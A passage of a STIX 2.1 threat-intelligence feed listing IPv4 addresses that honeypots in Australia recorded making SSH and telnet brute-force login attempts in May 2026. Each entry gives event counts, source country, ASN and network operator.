      "id": "indicator--a8fb3417-4f61-4f49-91cd-ceec7fd766de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.81.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--38eede7e-20cf-4912-8547-19eb9851d648",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.61.181.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--37fab4d5-ef51-4c25-8ebb-5e5ce3b18c79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.80.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b84bd414-3f5e-4864-85cd-ec90bd658620",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.234.130.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--10dec845-6a09-4465-88ba-5961b7c9820c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.234.203.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61882. Organisation(s): VILAVNET SOLUCOES EM INFORMATICA LTDA-ME.",
      "id": "indicator--ed7b7dca-af1d-48f0-a40b-05d471fbf645",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.0.48.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61908. Organisation(s): Nova Net Telecomunicacoes Ltda.",
      "id": "indicator--d31c956c-a679-4e01-b984-76c9d4f6874f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '132.255.41.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--e82b7cdd-eff0-48d8-9534-269fbd1c27ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.106.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264337. Organisation(s): NET COM INFORMATICA LTDA - ME.",
      "id": "indicator--d89d3a88-2cbf-40bd-bc6e-42f5ca54777e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.122.150.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 137872. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--ba855e16-4d99-43e2-847e-e64aae800c84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.109.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--5121fe70-c85f-4ffd-8341-fbf3610edf00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.123.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--988f67d1-352b-4cca-b453-4d0f578e8d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.227.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--33dc6ea6-ad2e-4bea-9727-7ea3de93acba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.230.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--da80ccbb-33cd-4f71-b838-ac7b6ba2e692",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.0.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5e733a94-2d31-44c6-91e9-47ddc29908d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.8.60.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--14cbe61f-52c5-40a6-8ad6-1fc54f563119",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.9.23.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52631. Organisation(s): ISP PROVERNET INFORMATICA LTDA - ME.",
      "id": "indicator--dac120f7-c08b-495e-a0fe-2e881460ff2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.128.28.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52871. Organisation(s): TASCOM TELECOMUNICACOES LTDA.",
      "id": "indicator--681bd2a2-2c66-46b6-8f39-7dd3c9621c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.136.35.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263269. Organisation(s): RAGTEK TECNOLOGIA.",
      "id": "indicator--6185c03b-1f63-4422-8884-f81e4a773869",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.108.89.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--aacecc9d-6dfd-4558-9d24-1a81531759e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.243.5.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271409. Organisation(s): DMESON CARLOS BARBOZA GONCALVES DO NASCIMENTO.",
      "id": "indicator--7dc04f16-3a85-4866-a88a-720592070828",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.209.162.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262813. Organisation(s): Superimagem Tecnologia em Eletronica Ltda.",
      "id": "indicator--7213b629-ddfa-41f5-a72f-b4de4514211c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.237.174.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 262161. Organisation(s): COTES Ltda..",
      "id": "indicator--ecb74bf4-b59d-4220-9f48-48e45a7c2c2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.52.55.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 214882. Organisation(s): Hadi Santosa.",
      "id": "indicator--562630e1-748c-418a-87c1-7f1d67bda4ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.88.211.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MZ. ASN(s): 30619. Organisation(s): TMCEL-Mocambique.",
      "id": "indicator--e1a5368b-1625-4da1-97a8-e63934d8ad02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.158.29.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--caba5c8f-7800-433e-8949-9d05aa469c03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.33.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131607. Organisation(s): Digidom CableTV Co., LTD..",
      "id": "indicator--1d9a370c-b8b2-4efd-bf3d-99e43e26fdfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.5.226.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--0e5d949d-d30b-420c-a5fe-99a7c653d669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.0.161.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271907. Organisation(s): COLNETWORK C.A..",
      "id": "indicator--025312b9-42ef-41d4-a7f5-e65b2f26a182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.0.181.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--552663c8-1475-456e-b482-df547283e611",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.55.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--a0026950-4f6e-4d24-95a1-d6f0caeeca60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.127.70.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2c322371-f2c6-4547-be22-b47fed08fcf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.21.30.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--1e6ab7b0-3844-4e0d-b993-17d3642746d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.147.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--efa9df0b-282d-4ec1-894e-abcee5f46372",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.232.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--93f0a420-ca8e-47ab-bddd-a4cecadecb2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.234.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--9c70aea2-853b-4ded-8a55-082f968154fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.251.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9376b295-6967-45e7-9467-dea858802a8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.58.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:15:11.000Z",
      "valid_until": "2026-06-19T22:15:08.000Z"
    },
    {
      "created": "2026-05-18T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
